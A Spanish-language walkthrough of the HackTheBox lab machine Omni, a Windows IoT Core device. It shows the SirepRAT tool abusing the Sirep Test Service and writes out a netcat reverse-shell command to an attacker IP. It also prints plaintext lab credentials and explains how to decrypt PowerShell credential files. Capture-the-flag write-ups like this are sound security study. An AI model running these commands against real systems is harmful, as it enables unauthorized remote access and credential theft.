Write-Up Máquina Omni HTB
La máquina Omni es una máquina en la cual esta corriendo un windows IoT core con el portal de gestion en modo Dev. Para la explotación nos vamos a aprovechar del Sirep Test Service que es un componente del propio IoT core para realizar comprobaciones en el hardware.
Escaneo
Una vez realizado el escaneo, podemos ver varios puertos abiertos, entre ellos el 8080. En este caso es el que nos interesa, ya que el resto de puertos son componentes internos de microsoft que no deberian ser vulnerables.
Puerto 8080
Vamos a acceder al puerto 8080 para ver que nos muestra, aunque ya nos podemos hacer una idea de lo que es viendo el escaneo. si nos fijamos bien, vemos que tenemos http-auth, lo que quiere decir que seguramente sea algun panel de gestión protegido por usuario y contraseña. Un poco más abajo, nos saca un mensaje: “Basic realm=Windows Device Portal” Esto nos puede indicar el producto concreto que este corriendo en ese puerto.
Como podemos ver, efectivamente tenemos un login del cual no tenemos en un principio credenciales. Vamos a intentar buscar en internet sobre este producto en busca de posibles credenciales por defecto.
El primer resultado ya nos muestra que este servicio tiene credenciales por defecto. Vamos a probarlas.
Si le damos ok vemos que volvemos al login por lo que esas credenciales no valen en esta máquina. Ya que tenemos el nombre del producto que esta corriendo, vamos a buscar posibles exploits.
Si buscamos en google ‘windows device portal exploit’ nos aparecera el siguiente artículo:
Este artículo hace referencia a una herramienta de explotacion desarrollada en python en el año 2019 llamada SirepRAT. Esta tool se aprovecha del Sirep Test Service que es una funcionalidad nativa de los sistemas windows IoT core que se usa de manera legitima para realizar pruebas de drivers y hardware en el propio dispositivo IoT.
Explotación
Una vez clonado el repo de la herramienta accedemos a la carpeta y vamos a instalar los paquetes que necesite la herramienta.
Una vez instalados los requirements vamos a proceder a explotar el servicio. Para comprobar que funciona, vamos a ejecutar python2.7 SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice
Como podemos ver nos devuelve output. eso quere decir que podemos interactuar con el servicio sin estar autenticados.
Una vez hecho este test, vamos a intentar obtener una reverse shell. Para eso vamos a subir el binario de netcat a la máquina y lo llamaremos para obtener una shell reversa en powershell. Primero vamos a crear una carpeta temp en la raiz.
Una vez creado el directorio vamos a subir nuestro binario de nc. Para subir el fichero vamos a levantar con python2.7 un servidor web que no nos sirve al fichero.
Una vez levantado vamos donde teniamos el sirepRAT y vamos a ejecutar un comando para descargar nc64.exe a la carpeta C:\temp previamente creada.
Una vez descargado el binario vamos a llamarlo para que no devuelva una reverse shell de powershell en el puerto 1234. Vamos a levantar lo primero el listener con el comando nc -lvp 1234 y con el comando python2.7 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput –return_output –cmd “C:\Windows\System32\cmd.exe” –args “/c C:\temp\nc64.exe -e powershell.exe 10.10.14.16 1234” llamaremos a netcat y no mandara al listener la reverse shell.
!!Ya tenemos shell¡¡ Vamos a enumerar y a buscar la flag del user. Si nos vamos a la carpeta Users de windows vemos que solo hay un usuario que es public y en su carpeta no hay ni rastro de la flag. Vamos a enumerar. Si nos vamos a la raiz vemos que las carpetas que hay no son las que encontrariamos en un sistema windows de escritorio.
A mi me ha llamado la atención la carpeta Data. Si accedemos a ella vemos que tenemos una carpeta users.
En user ya tenemos carpetas que tienen sentido que sean usuarios reales del sistema.
Ya que tenemos las carpetas de los users vamos a ver si en alguna de ellas esta la flag de user o de root. En este caso las carpetas que nos interesan son la de administrator y la de app.
como podemos ver hemos encontrado las flags. Pero no estan en plano, Estan en formato powershell credential.
Tenemos que seguir enumerando para ver si descubrimos alguna forma de sacar en plano la string de las flags.
Si vamos al directorio C:\Program Files\WindowsPowerShell\modules\PackageManagement y ejecutamos el comando dir -for vemos un archivo muy interesanta llamdo r.bat. Al abrirlo nos encontramos las credenciales de dos usuarios (app y Administrator) en claro.
vemos que las credenciales son:
- app: mesh5143
- administrator: _1nt3rn37ofTh1nGz
ahora que tenemos credenciales en claro vamos a pasar a obtener sesiones de shell con las claves cargadas. Para esto vamos a volver al panel de login de windows device portal.
Flag User app
Una vez hemos iniciado session en el portal vamos a processes y ahí a run command, y ya desde ahí podemos llamar al binario de netcat que habiamos subido al principio para explotar el Sirep Test Service
Ahora con el modulo import-clixml vamos a cargar el fichero y con el modulo GetNetworkCredential().password vamos a ver la flag.
En la carpeta del user tenemos dos fichweros que tambien son interesantes:
- iot-admin.xml
- hardening.txt
IoT-admin.xml
Como podemos ver iot-admin.xml tambien es un fichero protegido. Para leer su contenido podemos usar el mismo procedimiento que para leer la flag.
La string resultante es la contraseña del user administrator.
hardening.txt
El fichero hardening.txt nos da informacion de algunas operaciones que se han realizado en el equipo en referencia a su seguridad.
Flag User Administrator
Igual que pasaba con el User app Administrador tiene la flag protegida en un archivo de credenciales de powershell. Tal y como hemos hecho con App vamos a hacerlo con Administrator. Vamos al Windows Device Portal y nos logueamos con el user. Una vez hayamos accedido, vamos a processes y a run command. Esta vez no vamos a generar una reverse shell, vamos a leer el fichero directamente desde el panel de administración.